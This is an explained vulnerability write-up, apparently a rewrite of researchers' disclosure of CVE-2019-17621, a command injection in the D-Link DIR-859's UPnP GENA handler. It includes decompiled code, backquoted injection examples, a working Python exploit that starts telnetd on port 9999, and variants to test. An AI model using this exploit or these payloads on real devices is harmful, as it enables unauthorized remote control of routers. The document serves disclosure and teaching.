Researchers
An unauthenticated attacker on the local network can send a crafted UPnP SUBSCRIBE request to the router's gena.cgi endpoint, injecting shell commands via the service parameter that are written into a shell script and executed, leading to remote code execution. The exploit allows starting a telnet service for persistent access.
medium.com
Published on medium.com
The remote code execution vulnerability was found in the code used to manage UPnP requests. Below we will provide a short description of the UPnP protocol.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up covers an unauthenticated remote code execution vulnerability in the D-Link DIR-859 home router, tracked as CVE-2019-17621. The researchers are Miguel Mendez Z. (s1kr10s) and Pablo Pollanco (secenv).
The affected models and versions are:
| Item | Value |
|---|---|
| Model | DIR-859 |
| Firmware versions | 1.06b01 Beta01, 1.05 |
| Architecture | MIPS 32 bit |
| Vulnerability class | Remote code execution, unauthenticated, LAN |
The vulnerable code lives in the UPnP request handling path. UPnP is a communication protocol between devices inside a private network. One of its key functions is to open ports autonomously and automatically, without the user having to configure the router manually for each program. It is especially useful in systems used for video games, because it works dynamically and autonomously.
The firmware images analysed were DIR859Ax_FW106b01_beta01.bin and DIR859Ax_FW105b03.bin.

Setup
The analysis was done against the firmware binaries, specifically the executable /htdocs/cgibin, which handles the UPnP GENA requests. The exploit itself is a Python script that talks to the router over the network, sending a SUBSCRIBE request to the UPnP listener on the device. The script targets port 49152 by default and the request is sent to /gena.cgi.
Finding it
The researchers focused on the function genacgi_main() in /htdocs/cgibin. That function contains the vulnerability that allows code execution, and it also defines the conditions that must be met to reach the vulnerable code.

Inside genacgi_main(), a call to sprintf() builds a buffer containing all the values taken from the request, including the parameter ?service=* with its value. That parameter is the one the researchers tracked.

Exploitation
Step 1: understand the vulnerable function
The decompiled pseudo-code of genacgi_main() was reproduced with variable names modified for clarity:
/* The method has to be SUBSCRIBE to reach the buggy code */metodo = getenv("REQUEST_METHOD”);request_uri = getenv("REQUEST_URI”);request_uri_0x3f = strchr(request_uri,0x3f);cmp_service = strncmp(request_uri_0x3f,"?service=",9)if (cmp_service != 0) { return -1; }/* more code */valor_subscribe = strcasecmp(metodo,"SUBSCRIBE");request_uri_0x3f = request_uri_0x3f + 9;if (valor_subscribe != 0) { /* more code */}server_id_3 = getenv("SERVER_ID");http_sid_2 = getenv("HTTP_SID");http_callback_2 = getenv("HTTP_CALLBACK");http_timeout = getenv("HTTP_TIMEOUT");http_nt_2 = getenv("HTTP_NT");remote_addr = getenv("REMOTE_ADDR”);/* more code */if (cmp_http_callback == 0) { /* more code */str_http_callback_0x2f = strchr(http_callback_2 + 7, 0x2f); if (str_http_callback_0x2f != (char *)0x0) { get_pid_1 = getpid();/* vulnerable code */ sprintf(buffer_8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh", "/htdocs/upnp/run.NOTIFY.php", server_id_3, request_uri_0x3f, http_callback_2 + 7, str_http_callback_0x2f + 1, flag_2, remote_addr, "/var/run", request_uri_0x3f, get_pid_1);/* send the data */ xmldbc_ephp(0,0,buffer_8,(int)stdout);}/* more code */
The URL is obtained from the environment variable REQUEST_URI, and its structure is validated as follows:
request_uri = "http://IP:PORT/*?service=file_name"request_uri_0x3f = strchr(request_uri,0x3f);————strchr()———— + 9 ———— we control the filename with the variable => request_uri_0x3f
By calling strchr() and strncmp(), the code checks that the value 0x3f (the character ?) and the string ?service=* are present. After that it validates the request method: if SUBSCRIBE is called, the code adds a 9 byte offset to the request_uri_0x3f pointer, placing it where the filename is. Some other variables are initialised, and finally sprintf() concatenates values from many variables, filling a buffer that sets new variables to be passed. Among them is SHELL_FILE, passed in the format string %s_%d.sh, which is used to give a name to a new shell script.
Step 2: the buffer is sent to PHP
The data contained in buffer_8 is then sent to PHP by using xmldbc_ephp(), which finally calls send():
int xmldbc_ephp(int 0,int 0_,char *buffer_8,int stdout){ size_t len_buffer; int ret_prepre; len_buffer = strlen(buffer_8); len_buffer._2_2_ = (short)len_buffer; ret_prepre = [send(socket,buffer_8,(uint)len_buffer,0x4000);] return ret_prepre;}
Once data is copied to the buffer_8 buffer, it is set in memory as follows:

Step 3: follow SHELL_FILE through run.NOTIFY.php
The data in the buffer is now processed by the PHP file run.NOTIFY.php, where the request method is validated once again.
File: run.NOTIFY.php
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);$gena_path = $gena_path."/".$SERVICE;GENA_subscribe_cleanup($gena_path);/* IGD services */if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";/* WFA services */else if ($SERVICE == "WFAWLANConfig1")$php = "NOTIFY.WFAWLANConfig.1.php";if ($METHOD == "SUBSCRIBE"){ if ($SID == "") GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID); else GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);}else if ($METHOD == "UNSUBSCRIBE"){ GENA_unsubscribe($gena_path, $SID);}
The script calls the PHP function GENA_subscribe_new(), passing it the variables obtained in genacgi_main() of the cgibin program, including SHELL_FILE. As shown in the genacgi_main() code, this variable is used to set part of the filename.
File: gena.php, function GENA_subscribe_new()
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid){ anchor($node_base); $count = query("subscription#"); $found = 0;/* find subscription index & uuid */ foreach ("subscription") { if (query("host")==$host && query("uri")==$uri) { $found = $InDeX; break; } }if ($found == 0) { $index = $count + 1; $new_uuid = "uuid:".query("/runtime/genuuid"); } else { $index = $found; $new_uuid = query("subscription:".$index."/uuid"); }/* get timeout */ if ($timeout==0 || $timeout=="") { $timeout = 0; $new_timeout = 0; } else { $new_timeout = query("/runtime/device/uptime") + $timeout; }/* set to nodes */ set("subscription:".$index."/remote", $remote); set("subscription:".$index."/uuid", $new_uuid); set("subscription:".$index."/host", $host); set("subscription:".$index."/uri", $uri); set("subscription:".$index."/timeout", $new_timeout); set("subscription:".$index."/seq", "1"); GENA_subscribe_http_resp($new_uuid, $timeout); GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);}
GENA_subscribe_new() does not modify the $shell_file variable. Two functions are called from here: GENA_subscribe_http_resp(), which only loads the headers to be passed in the UPnP response, and GENA_notify_init(), which receives $shell_file.
File: gena.php, function GENA_notify_init()
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid){ $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0); if ($inf_path=="") { TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!"); return ""; } $phyinf = PHYINF_getifname(query($inf_path."/phyinf")); if ($phyinf == "") { TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!"); return ""; }$upnpmsg = query("/runtime/upnpmsg");if ($upnpmsg == "") $upnpmsg = "/dev/null";fwrite(w, $shell_file,"#!/bin/sh\n".'echo "[$0] ..." > '.$upnpmsg."\n"."xmldbc -P ".$target_php. " -V INF_UID=".$inf_uid. "-V HDR_URL=".$uri. "-V HDR_HOST=".$host. "-V HDR_SID=".$sid. "-V HDR_SEQ=0". " | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n");fwrite(a, $shell_file, "rm -f ".$shell_file."\n"); /* Here, the code is injected as filename */}
This is where SHELL_FILE finally ends up. It is used as part of the name of a new file created by calling the PHP function fwrite(). The function is used twice. The first call creates the file, taking its name from the SHELL_FILE variable we control and concatenating the output of getpid():
Request: http://IP:PORT/*?service=file_nameSystem: /var/run/nombre_archivo_13567.sh
The second call to fwrite() appends a new line to this file, containing a call to the rm system command to delete itself.
Step 4: inject a command through the filename
To exploit this, it is enough to insert a system command wrapped in backquotes (`$command`), which is then injected in the shell script and gives the RCE. The rm command will fail, because the filename string will be replaced by the output returned by rm (an empty string).
Request: http://IP:PORT/*?service=`ping [redacted]`System: /var/run/`ping [redacted]`_13567.shRun: rm -f `ping [redacted]`_13467.sh
Step 5: the exploit script
With all of the above, the researchers wrote a functional script to exploit the RCE:
import socketimport osfrom time import sleep# Exploit By Miguel Mendez & Pablo Pollancodef httpSUB(server, port, shell_file): print('\n[*] Connection {host}:{port}').format(host=server, port=port) con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" request += "Host: " + str(server) + str(port) + "\n" request += "Callback: <http://[redacted]:34033/ServiceProxy27>\n" request += "NT: upnp:event\n" request += "Timeout: Second-1800\n" request += "Accept-Encoding: gzip, deflate\n" request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"sleep(1) print('[*] Sending Payload') con.connect((socket.gethostbyname(server),port)) con.send(request.encode()) results = con.recv(4096)sleep(1) print('[*] Running Telnetd Service') sleep(1) print('[*] Opening Telnet Connection\n') sleep(2) os.system('telnet ' + str(server) + ' 9999')serverInput = raw_input('IP Router: ')portInput = 49152httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
The script builds a SUBSCRIBE request to /gena.cgi with the payload in the service parameter, sends it to the router on port 49152, and then opens a telnet connection to port 9999. The payload passed as the shell file is:
`telnetd -p 9999 &`
With this exploit the telnet service can then be started to maintain access.

Root cause
The chain is a command injection through a filename. The service value from the request URI is copied by sprintf() into the SHELL_FILE field of the buffer sent to PHP, with no sanitisation. run.NOTIFY.php passes $SHELL_FILE unchanged to GENA_subscribe_new(), which passes it unchanged to GENA_notify_init(). There, fwrite() uses it as the name of a file under /var/run, and the second fwrite() writes a line containing rm -f followed by that same name. Because the name is written into a shell script, backquotes in the name are evaluated as command substitution when the rm line runs. The rm command will fail, because the filename string will be replaced by the output returned by the command inside the backquotes.
Reaching the vulnerable code requires the request method to be SUBSCRIBE, the URI to contain ?service=, and the Callback header to contain a / after the scheme, since the code checks strchr(http_callback_2 + 7, 0x2f).
Impact
An attacker on the LAN can execute arbitrary commands on the router without authentication. In the demonstrated case the payload starts telnetd on port 9999, which can then be used to maintain access. The vulnerability is described as unauthenticated and LAN-facing, so the exposure is limited to networks from which the UPnP listener can be reached.
Fix
D-Link published a support announcement for this issue (SAP10147). The report does not describe the code change itself.
Variants to test
- Other D-Link firmware that shares the
genacgi_main()/run.NOTIFY.php/gena.phpchain: send aSUBSCRIBErequest to/gena.cgiwith a backquoted command inserviceand aCallbackheader containing a path. A positive result is a file created under/var/runwhose name contains the command output, or the command's side effect (for example a new listening port). - Different command wrappers in the
servicevalue, such as$(...)instead of backquotes, to see whether the same filename path is evaluated by the shell. A positive result is the same observable side effect. - Other GENA service names in the
serviceparameter, to check whether the$SERVICEbranch selection inrun.NOTIFY.phpchanges reachability ofGENA_notify_init(). A positive result is the script being written for a service value that was not covered in this report. - Other environment-derived fields in the
sprintf()format string, such as the callback host and URI, to see whether they reach a shell context elsewhere. A positive result is command execution through a field other thanservice.
What happened, in plain words
A home router made by D-Link, the DIR-859, has a bug in the part of its software that handles a networking feature called UPnP. Because of that bug, anyone who can reach the router over the local network can send it a specially crafted request and make it run commands of their choosing, without knowing any password. The researchers who found and documented it are Miguel Mendez Z. (s1kr10s) and Pablo Pollanco (secenv), and the issue is tracked as CVE-2019-17621.
If you have never heard of any of this, do not worry. This article starts from zero. It explains what a router is, what UPnP does, what a request looks like, what a shell script is, and then walks through the exact chain of events that turns a harmless-looking web request into command execution on the device. Every piece of code below is copied from the researchers' write-up, and after each block there is a plain-language explanation of what it does.
The product and the feature
A router is the box in your home that connects your devices to the internet and to each other. It runs a small operating system and a web server, which is why you can open a browser, type its address, and see a settings page.
UPnP (Universal Plug and Play) is a communication protocol between devices inside a private network. Its best-known job is to let programs open ports on the router automatically, without the user having to configure anything by hand. It is especially useful for video games, because it works dynamically and autonomously: the game asks the router to open a door, the router opens it, and later closes it again.
That convenience is also why UPnP is interesting to attackers. The router listens for UPnP messages from the local network, and those messages are handled by code that parses text supplied by whoever sent them.
The affected models and versions are:
| Item | Value |
|---|---|
| Model | DIR-859 |
| Firmware versions | 1.06b01 Beta01, 1.05 |
| Architecture | MIPS 32 bit |
| Vulnerability class | Remote code execution, unauthenticated, LAN |
A few of those words need unpacking. Firmware is the software built into the device, the equivalent of the operating system on your computer. A version number such as 1.06b01 Beta01 identifies which build of that software is installed. Architecture, here MIPS 32 bit, describes the family of processor the router uses and how its instructions are encoded; it matters because compiled programs are written for one architecture and will not run on another. Remote code execution means an attacker can make the device run commands they supply, from another machine over the network. Unauthenticated means no login or password is required. LAN means local area network, the private network inside a home or office, as opposed to the public internet.
The firmware images the researchers analysed were DIR859Ax_FW106b01_beta01.bin and DIR859Ax_FW105b03.bin. A firmware image is a single file containing the whole software of the device, which you can download from the manufacturer and inspect on a computer.

The image above sits at the start of the affected products section, listing the devices and firmware versions the issue applies to.
How the analysis was done
The researchers worked on the firmware binaries, and in particular on the executable /htdocs/cgibin, which handles UPnP GENA requests. A binary is a compiled program: the readable source code has been translated into instructions for the processor. To understand it, researchers use tools that turn those instructions back into something resembling source code, called decompiled pseudo-code. That is what you will see below.
GENA is the part of UPnP that handles event subscriptions: a device tells the router it wants to be notified when something changes. The request that carries such a subscription is what the exploit abuses.
The exploit itself is a Python script that talks to the router over the network, sending a SUBSCRIBE request to the UPnP listener on the device. The script targets port 49152 by default and sends its request to /gena.cgi. A port is a numbered channel on a machine; one machine can run many services, and each listens on its own port, a bit like different extension numbers on one phone line.
Finding the bug
The researchers focused on the function genacgi_main() in /htdocs/cgibin. A function is a named block of code that does one job; this one handles incoming GENA requests. It contains the vulnerability that allows code execution, and it also defines the conditions that must be met to reach the vulnerable code.

The picture above shows the function in the decompiled view, with the conditions that have to be satisfied before execution reaches the buggy part.
Inside genacgi_main(), a call to sprintf() builds a buffer containing all the values taken from the request, including the parameter ?service=* with its value. That parameter is the one the researchers tracked. A buffer is a fixed-size area of memory used to hold text while a program works on it. sprintf() is a standard function that formats text by substituting values into a template, much like a mail merge fills names into a letter. If a value placed into the template is longer or stranger than expected, the result can be dangerous.

The image above shows the sprintf() call and the buffer it fills, including the ?service= value that the researchers followed from here onwards.
Step 1: understand the vulnerable function
The decompiled pseudo-code of genacgi_main() was reproduced with variable names modified for clarity:
/* The method has to be SUBSCRIBE to reach the buggy code */metodo = getenv("REQUEST_METHOD”);request_uri = getenv("REQUEST_URI”);request_uri_0x3f = strchr(request_uri,0x3f);cmp_service = strncmp(request_uri_0x3f,"?service=",9)if (cmp_service != 0) { return -1; }/* more code */valor_subscribe = strcasecmp(metodo,"SUBSCRIBE");request_uri_0x3f = request_uri_0x3f + 9;if (valor_subscribe != 0) { /* more code */}server_id_3 = getenv("SERVER_ID");http_sid_2 = getenv("HTTP_SID");http_callback_2 = getenv("HTTP_CALLBACK");http_timeout = getenv("HTTP_TIMEOUT");http_nt_2 = getenv("HTTP_NT");remote_addr = getenv("REMOTE_ADDR”);/* more code */if (cmp_http_callback == 0) { /* more code */str_http_callback_0x2f = strchr(http_callback_2 + 7, 0x2f); if (str_http_callback_0x2f != (char *)0x0) { get_pid_1 = getpid();/* vulnerable code */ sprintf(buffer_8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh", "/htdocs/upnp/run.NOTIFY.php", server_id_3, request_uri_0x3f, http_callback_2 + 7, str_http_callback_0x2f + 1, flag_2, remote_addr, "/var/run", request_uri_0x3f, get_pid_1);/* send the data */ xmldbc_ephp(0,0,buffer_8,(int)stdout);}/* more code */
Line by line, in plain words:
metodo = getenv("REQUEST_METHOD”)reads the HTTP method from the environment. The method is the verb at the start of a web request, such as GET or POST; here the interesting one is SUBSCRIBE. Environment variables are named values the web server passes to the program it runs, carrying details of the request.request_uri = getenv("REQUEST_URI”)reads the requested address, the part of the URL that identifies what is being asked for.request_uri_0x3f = strchr(request_uri,0x3f)searches that address for the character with code0x3f, which is the question mark?.strchr()returns a pointer to where that character sits in the text. A pointer is simply a position in memory, like a bookmark.cmp_service = strncmp(request_uri_0x3f,"?service=",9)compares the text starting at that bookmark with the literal?service=, for nine characters.strncmp()compares two strings up to a given length.if (cmp_service != 0) { return -1; }means: if the comparison did not match, stop and return an error. So the request must contain?service=or nothing else happens.valor_subscribe = strcasecmp(metodo,"SUBSCRIBE")compares the method withSUBSCRIBE, ignoring upper and lower case.request_uri_0x3f = request_uri_0x3f + 9moves the bookmark nine characters forward, past?service=, so it now points at whatever follows, which is the service name supplied by the caller.if (valor_subscribe != 0) { /* more code */ }means the method must be SUBSCRIBE for the interesting path to continue.- The next lines read more request details from the environment:
SERVER_ID,HTTP_SID,HTTP_CALLBACK,HTTP_TIMEOUT,HTTP_NTandREMOTE_ADDR. These correspond to values the client sent in its request, such as headers. A header is a labelled line in a request carrying extra information, for example what kind of content the client accepts. str_http_callback_0x2f = strchr(http_callback_2 + 7, 0x2f)looks inside the callback value, starting seven characters in, for the character0x2f, which is the slash/. The checkif (str_http_callback_0x2f != (char *)0x0)requires that a slash was found. In practice this means the callback must look like a URL with something after the scheme, for examplehttp://host/path.get_pid_1 = getpid()asks the operating system for the process ID, a number that identifies the running program. It is used later to make a filename unique.- The
sprintf()call is the heart of the bug. It builds one long piece of text,buffer_8, from a template. The template contains lines such asMETHOD=SUBSCRIBE,SERVICE=%s,HOST=%s,URI=/%s,TIMEOUT=%d,REMOTE=%sandSHELL_FILE=%s/%s_%d.sh. Each%sis replaced by one of the values read above, and%dby a number. Crucially, the service value the caller supplied is placed intoSERVICE=and also into theSHELL_FILE=line, where it becomes part of a filename under/var/runending in_<pid>.sh. xmldbc_ephp(0,0,buffer_8,(int)stdout)hands that text to another part of the system, which will process it as a set of variables.
The URL is obtained from the environment variable REQUEST_URI, and its structure is validated as follows:
request_uri = "http://IP:PORT/*?service=file_name"request_uri_0x3f = strchr(request_uri,0x3f);————strchr()———— + 9 ———— we control the filename with the variable => request_uri_0x3f
This sketch shows the shape the code expects: an address ending in ?service= followed by a name. The strchr() call finds the question mark, and adding nine moves past ?service=, so the pointer ends up exactly at the name. That name is fully under the caller's control, which is the seed of the whole problem.
By calling strchr() and strncmp(), the code checks that the value 0x3f (the character ?) and the string ?service=* are present. After that it validates the request method: if SUBSCRIBE is called, the code adds a 9 byte offset to the request_uri_0x3f pointer, placing it where the filename is. Some other variables are initialised, and finally sprintf() concatenates values from many variables, filling a buffer that sets new variables to be passed. Among them is SHELL_FILE, passed in the format string %s_%d.sh, which is used to give a name to a new shell script.
A shell script is a text file of commands that the device's command interpreter, the shell, will run. The .sh ending is the conventional sign of such a file. So the service name we send is not merely stored: it becomes part of the name of a script file created on the device.
Step 2: the buffer is sent to PHP
The data contained in buffer_8 is then sent to PHP by using xmldbc_ephp(), which finally calls send():
int xmldbc_ephp(int 0,int 0_,char *buffer_8,int stdout){ size_t len_buffer; int ret_prepre; len_buffer = strlen(buffer_8); len_buffer._2_2_ = (short)len_buffer; ret_prepre = [send(socket,buffer_8,(uint)len_buffer,0x4000);] return ret_prepre;}
PHP is a programming language commonly used for web pages; the router's management interface is written in it. This function takes the text built in the previous step and delivers it to the PHP side. strlen(buffer_8) measures how long the text is, and send(socket,buffer_8,(uint)len_buffer,0x4000) writes that many bytes into a socket, which is a network connection between two programs on the same machine or across a network. In everyday terms, the C program has prepared a message and now posts it through an internal letterbox to the PHP program.
Once data is copied to the buffer_8 buffer, it is set in memory as follows:

The image above shows how the assembled text is laid out in memory, with the fields such as SERVICE and SHELL_FILE filled in from the request.
Step 3: follow SHELL_FILE through run.NOTIFY.php
The data in the buffer is now processed by the PHP file run.NOTIFY.php, where the request method is validated once again.
File: run.NOTIFY.php
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);$gena_path = $gena_path."/".$SERVICE;GENA_subscribe_cleanup($gena_path);/* IGD services */if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";/* WFA services */else if ($SERVICE == "WFAWLANConfig1")$php = "NOTIFY.WFAWLANConfig.1.php";if ($METHOD == "SUBSCRIBE"){ if ($SID == "") GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID); else GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);}else if ($METHOD == "UNSUBSCRIBE"){ GENA_unsubscribe($gena_path, $SID);}
What this file does, step by step:
XNODE_getpathbytarget(...)looks up an internal path for the interface identified by$INF_UID. Think of it as finding the right drawer in a filing cabinet using an identifier.$gena_path = $gena_path."/".$SERVICE;appends the service name to that path. The dot in PHP joins strings together.GENA_subscribe_cleanup($gena_path);clears any previous subscription for that path.- The long
if/else ifchain maps a known service name, such asL3Forwarding1orWANIPConn1, to the PHP file that handles notifications for it. This is a lookup table written as conditions. if ($METHOD == "SUBSCRIBE")checks the method again. If it is SUBSCRIBE and$SIDis empty, the code callsGENA_subscribe_new(...), passing along$HOST,$REMOTE,$URI,$TIMEOUT,$SHELL_FILE, the target PHP file and$INF_UID. If a$SIDis present, a different function is used. For UNSUBSCRIBE, yet another function runs.
The important line is the call to GENA_subscribe_new(). It passes the variables obtained in genacgi_main() of the cgibin program, including SHELL_FILE. As shown in the genacgi_main() code, this variable is used to set part of the filename.
File: gena.php, function GENA_subscribe_new()
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid){ anchor($node_base); $count = query("subscription#"); $found = 0;/* find subscription index & uuid */ foreach ("subscription") { if (query("host")==$host && query("uri")==$uri) { $found = $InDeX; break; } }if ($found == 0) { $index = $count + 1; $new_uuid = "uuid:".query("/runtime/genuuid"); } else { $index = $found; $new_uuid = query("subscription:".$index."/uuid"); }/* get timeout */ if ($timeout==0 || $timeout=="") { $timeout = 0; $new_timeout = 0; } else { $new_timeout = query("/runtime/device/uptime") + $timeout; }/* set to nodes */ set("subscription:".$index."/remote", $remote); set("subscription:".$index."/uuid", $new_uuid); set("subscription:".$index."/host", $host); set("subscription:".$index."/uri", $uri); set("subscription:".$index."/timeout", $new_timeout); set("subscription:".$index."/seq", "1"); GENA_subscribe_http_resp($new_uuid, $timeout); GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);}
This function is mostly bookkeeping. anchor($node_base) selects a place in the router's internal configuration store. query("subscription#") counts existing subscriptions. The foreach loop looks for an existing subscription with the same host and URI, so that a repeat request updates it rather than creating a duplicate. If none is found, a new index and a new UUID are generated; a UUID is a long random-looking identifier, like a unique ticket number. The timeout is converted into an absolute time using the device uptime. Then a series of set(...) calls store the remote address, UUID, host, URI, timeout and sequence number. Finally two functions are called: GENA_subscribe_http_resp(), which prepares the reply, and GENA_notify_init(), which receives $shell_file.
GENA_subscribe_new() does not modify the $shell_file variable. That is the key observation: the value we supplied travels through untouched. GENA_subscribe_http_resp() only loads the headers to be passed in the UPnP response, so it is not part of the problem. GENA_notify_init() is where the value is used.
File: gena.php, function GENA_notify_init()
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid){ $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0); if ($inf_path=="") { TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!"); return ""; } $phyinf = PHYINF_getifname(query($inf_path."/phyinf")); if ($phyinf == "") { TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!"); return ""; }$upnpmsg = query("/runtime/upnpmsg");if ($upnpmsg == "") $upnpmsg = "/dev/null";fwrite(w, $shell_file,"#!/bin/sh\n".'echo "[$0] ..." > '.$upnpmsg."\n"."xmldbc -P ".$target_php. " -V INF_UID=".$inf_uid. " -V HDR_URL=".$uri. " -V HDR_HOST=".$host. " -V HDR_SID=".$sid. " -V HDR_SEQ=0". " | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n");fwrite(a, $shell_file, "rm -f ".$shell_file."\n"); /* Here, the code is injected as filename */}
Here is what happens inside:
XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0)looks up the interface path for the given identifier. If it cannot be found, the function logs a debug message and returns an empty string, stopping.PHYINF_getifname(query($inf_path."/phyinf"))gets the name of the physical network interface, for example the wireless or wired interface. If that fails, it also stops.$upnpmsg = query("/runtime/upnpmsg");reads where UPnP messages should be logged, falling back to/dev/nullif nothing is configured./dev/nullis a special file that discards anything written to it, like a bin with no bottom.- The first
fwrite(w, $shell_file, ...)creates a file whose name is$shell_file, and writes a small script into it. The script starts with#!/bin/sh, which tells the system to run it with the standard shell, then echoes a line, then runsxmldbcwith a set of-Vvariables and pipes the result intohttpc, which sends an HTTP request. A pipe, the|character, connects the output of one command to the input of the next, like a conveyor belt between two machines. - The second
fwrite(a, $shell_file, "rm -f ".$shell_file."\n")appends one more line to the same file:rm -ffollowed by the filename.rmis the command that deletes a file, and-fmeans force, without asking. The comment in the code says it plainly: here, the code is injected as filename.
This is where SHELL_FILE finally ends up. It is used as part of the name of a new file created by calling the PHP function fwrite(). The function is used twice. The first call creates the file, taking its name from the SHELL_FILE variable we control and concatenating the output of getpid():
Request: http://IP:PORT/*?service=file_nameSystem: /var/run/nombre_archivo_13567.sh
Read this as a before-and-after. On the left is the request: a URL whose service value is file_name. On the right is what the router ends up with on disk: a file in /var/run called nombre_archivo_13567.sh, where nombre_archivo is the name we supplied and 13567 is the process ID. /var/run is a directory for files that describe running programs; it is writable by the system and is a natural place for such a script.
The second call to fwrite() appends a new line to this file, containing a call to the rm system command to delete itself.
Step 4: inject a command through the filename
To exploit this, it is enough to insert a system command wrapped in backquotes (`$command`), which is then injected in the shell script and gives the RCE. The rm command will fail, because the filename string will be replaced by the output returned by rm (an empty string).
Request: http://IP:PORT/*?service=`ping [redacted]`System: /var/run/`ping [redacted]`_13567.shRun: rm -f `ping [redacted]`_13467.sh
This is the crucial idea, so it is worth slowing down. In a shell, text between backquotes is not treated as literal text: the shell runs it as a command and substitutes whatever that command prints. It is like a sticky note that says "insert the result of this calculation here". So when the script line rm -f followed by a backquoted command is executed, the shell first runs the command inside the backquotes, then replaces the backquoted part with its output, and only then runs rm.
In the example, the command is ping [redacted]. The router runs it, and the filename string becomes the output of ping followed by _13467.sh. Because that resulting name does not exist, rm fails, but the damage is already done: our command ran. The researchers used ping here purely as a harmless demonstration that command execution occurs.
Step 5: the exploit script
With all of the above, the researchers wrote a functional script to exploit the RCE:
import socketimport osfrom time import sleep# Exploit By Miguel Mendez & Pablo Pollancodef httpSUB(server, port, shell_file): print('\n[*] Connection {host}:{port}').format(host=server, port=port) con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" request += "Host: " + str(server) + str(port) + "\n" request += "Callback: <http://[redacted]:34033/ServiceProxy27>\n" request += "NT: upnp:event\n" request += "Timeout: Second-1800\n" request += "Accept-Encoding: gzip, deflate\n" request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"sleep(1) print('[*] Sending Payload') con.connect((socket.gethostbyname(server),port)) con.send(request.encode()) results = con.recv(4096)sleep(1) print('[*] Running Telnetd Service') sleep(1) print('[*] Opening Telnet Connection\n') sleep(2) os.system('telnet ' + str(server) + ' 9999')serverInput = raw_input('IP Router: ')portInput = 49152httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
Line by line:
import socket,import osandfrom time import sleepload three Python modules: one for network connections, one for running local commands, and one for pausing.def httpSUB(server, port, shell_file):defines a function that takes the router address, the port and the payload to place in theserviceparameter.con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)creates a TCP connection object. TCP is the reliable transport protocol that web traffic uses;AF_INETmeans IPv4 addresses.- The
request = ...and followingrequest += ...lines build the raw HTTP request as text. The first line is the request line: the methodSUBSCRIBE, the path/gena.cgi?service=with our payload appended, and the HTTP versionHTTP/1.0. The following lines are headers:Host,Callback,NT,Timeout,Accept-EncodingandUser-Agent. TheCallbackheader contains a URL with a slash after the scheme, which satisfies the check we saw ingenacgi_main(). The blank line at the end, produced by the final\n\n, marks the end of the headers. con.connect((socket.gethostbyname(server),port))opens the connection to the router.gethostbynameturns a name into an IP address if needed.con.send(request.encode())sends the text, encoded into bytes, which is what the network carries.results = con.recv(4096)reads up to 4096 bytes of the reply.os.system('telnet ' + str(server) + ' 9999')runs the localtelnetclient against port 9999 on the router. Telnet is an old protocol for a remote text session, a command line on another machine.- At the bottom,
raw_input('IP Router: ')asks the user for the router's address,portInput = 49152sets the UPnP port, andhttpSUB(serverInput, portInput, 'telnetd -p 9999 &')calls the function with the payload.
The payload passed as the shell file is:
`telnetd -p 9999 &`
telnetd is the server side of telnet: it listens for incoming telnet connections. -p 9999 tells it to listen on port 9999, and the trailing & puts it in the background so it keeps running. Because the payload is wrapped in backquotes, it is executed when the generated script runs, and the router starts a telnet server that the attacker can then connect to.
